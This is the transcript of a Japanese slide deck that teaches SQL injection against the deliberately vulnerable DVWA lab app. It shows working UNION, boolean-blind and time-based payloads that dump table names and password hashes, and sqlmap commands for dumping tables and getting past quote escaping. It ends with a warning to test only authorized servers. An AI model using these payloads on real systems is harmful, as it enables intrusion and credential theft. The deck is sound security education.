Top Banner
Security Topic SQL injection について 猫でもわかる
34

猫でもわかるかもしれない SQLインジェクション

Jan 25, 2017

Download

Engineering

kinme modoki
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: 猫でもわかるかもしれない SQLインジェクション

Security TopicSQL injection について

猫でもわかる

Page 2: 猫でもわかるかもしれない SQLインジェクション

Let's SQL injection

DVWA with Docker で SQL injection を試すhttp://www.dvwa.co.uk/

DVWA とは脆弱性を持ったWebアプリ(PHP + MySQL)MAMPやDockerで簡単に動かせるDocker image : https://hub.docker.com/r/originalsix/docker-dvwa/

Page 3: 猫でもわかるかもしれない SQLインジェクション

Use this

Page 4: 猫でもわかるかもしれない SQLインジェクション

SQL injection : Level 1

Page 5: 猫でもわかるかもしれない SQLインジェクション

Easy SQL InjectionLevel 1

Page 6: 猫でもわかるかもしれない SQLインジェクション

Default word : いつもの

SELECT first_name, last_name FROM usersWHERE user_id = '' OR 1 --

Level 1

すべての⾏を表⽰させるいつものやつ

Page 7: 猫でもわかるかもしれない SQLインジェクション

UNION

SELECT first_name, last_name FROM usersWHERE user_id = '' OR 1UNION ( SELECT 1, 2 ) --

result[0] = 1result[1] = 2

Level 1

UNIONで出⼒結果を追加してみる

Page 8: 猫でもわかるかもしれない SQLインジェクション

UNION

SELECT first_name, last_name FROM usersWHERE user_id = ''UNION ( SELECT 1, 2 ) --

result[0] = 1result[1] = 2

Level 1

UNIONで出⼒結果を追加してみる

Page 9: 猫でもわかるかもしれない SQLインジェクション

FROM information_schema.columns

SELECT first_name, last_name FROM usersWHERE user_id = '' UNION SELECT table_name, GROUP_CONCAT(column_name) FROM information_schema.columnsGROUP BY table_name --

table_name : userscolumn_name : name, user_id, avatar, password, user, last_name

※ information_schema.columns : 管理情報をもつtableGROUP_CONCAT : 複数の要素をまとめる

Level 1

テーブル⼀覧とそのカラムを表⽰する

Page 10: 猫でもわかるかもしれない SQLインジェクション

Get password FROM users

first_name : adminpassword: 5f4dcc3b5aa765d61d8327deb882cf99

decode with john復号ツールで解読したり...

SELECT first_name, last_name FROM usersWHERE user_id = '' UNION SELECT CONCAT(first_name, last_name), passwordFROM users --

Level 1

さっきの情報を元にpasswordを出⼒

Page 11: 猫でもわかるかもしれない SQLインジェクション

Get password FROM users

first_name : adminpassword: 5f4dcc3b5aa765d61d8327deb882cf99

Level 1

出た!(ハッシュ値は別途復号ツールで復号する)

Page 12: 猫でもわかるかもしれない SQLインジェクション

SQL injection : Level 2

Page 13: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection

出⼒結果が⾒れない

Level 2

Page 14: 猫でもわかるかもしれない SQLインジェクション

Default word : いつもの

出⼒結果が⾒れない

出⼒の有無だけわかる

Level 2

Page 15: 猫でもわかるかもしれない SQLインジェクション

Default word : いつもの

出⼒結果が⾒れない

admin(id=1) の password をGETしてみる[前提] passwordというカラムを知っているとする(知る⽅法は後述)

出⼒の有無だけわかる

Level 2

Page 16: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "0" --

Level 2

passwordの1⽂字⽬から1⽂字⽬は"0"か?

-> false

Page 17: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "5" --

Level 2

passwordの1⽂字⽬から1⽂字⽬は"5"か?

-> true

Page 18: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "5" --

Level 2

passwordの1⽂字⽬から1⽂字⽬は"5"か?

-> true

Page 19: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection

shell script等サクッと実装しよう!

Page 20: 猫でもわかるかもしれない SQLインジェクション

SQL injection : Level 2++

Page 21: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection(Time-base)

出⼒結果が⾒れないしSQLの成否もわからない

Level 2

Insert⽂が使⽤されている時など(DVWAにはないです)

Page 22: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection(Time-base)

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",

sleep(5), sleep(0))--

Level 2

passwordの1⽂字⽬から1⽂字⽬は"0"か?即レスポンス -> false

Page 23: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection(Time-base)

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",

sleep(5), sleep(0))--

Level 2

passwordの1⽂字⽬から1⽂字⽬は"0"か?5秒後レスポンス-> true

Page 24: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection(Time-base)

SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",

sleep(5), sleep(0))--

Level 2

passwordの1⽂字⽬から1⽂字⽬は"0"か?5秒後レスポンス-> true

Page 25: 猫でもわかるかもしれない SQLインジェクション

Blind SQL Injection(Time-base)

shell script等サクッと実装しよう!(コピペ)

Page 26: 猫でもわかるかもしれない SQLインジェクション

どうやってテーブル名を取得する?• 勘 (users, passwordくらいなら...)• information_schema.columnsのn⾏⽬のtable_nameを総当り

SELECT first_name, last_name FROM usersWHERE user_id = '' ORSUBSTR((SELECT table_name

FROM information_schema.columnsLIMIT 10, 1),1,1) = "u" --

LIMIT⽂ : 結果の10番⽬から1⾏出⼒する= そのテーブルの1⽂字⽬は"u"か?(usersが何番⽬に出⼒されるかわからない(厳しい))

Page 27: 猫でもわかるかもしれない SQLインジェクション

Automatic SQL injection

sqlmapでこれらの攻撃を⾃動で⾏える!(つよい)

Page 28: 猫でもわかるかもしれない SQLインジェクション

sqlmap

-o :3スレッド並列処理-T :テーブルを指定--tables :table⼀覧を取得--dump :tableデータをダンプする

Page 29: 猫でもわかるかもしれない SQLインジェクション

sqlmap --tablessqlmap -o -u "[targetUrl]" --cookie="[session]" --tables

table⼀覧を取得

Page 30: 猫でもわかるかもしれない SQLインジェクション

sqlmap --dumpsqlmap -o -u "[targetUrl]" --cookie="[session]" --dump

userテーブルが⾒れた

Page 31: 猫でもわかるかもしれない SQLインジェクション
Page 32: 猫でもわかるかもしれない SQLインジェクション

sqlmap --prefix"--prefix" や "--postfix"で簡単なSQL injection対策も突破

$input_escaped = str_replace(" ' "," ' ",$user_input);

'(シングルクォート)を ' に置き換える -> 「' AND ~~~」が使えない!

1. prefixで を指定2. 「 ' AND ~~~」 (バックスラッシュ)が特殊⽂字化して ' が使えるようになった!

Page 33: 猫でもわかるかもしれない SQLインジェクション

Notes

SQLインジェクションは管理化もしくは管理者から許可されたサーバにのみ⾏いましょう

(参照 : 不正アクセス禁⽌法 etc...)

DockerやVMなどで作った環境で試すのがオススメ

Page 34: 猫でもわかるかもしれない SQLインジェクション

Appendix(SQL injection Task)• sharifCTF 7

http://ctf.sharif.edu/ctf7 [Poor Guy, Irish Home]• ksnCTF

http://ksnctf.sweetduet.info/problem/6 [6:login]

• Seccon2016https://score-quals.seccon.jp/question/ [basiq]

• Cheat Sheethttps://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/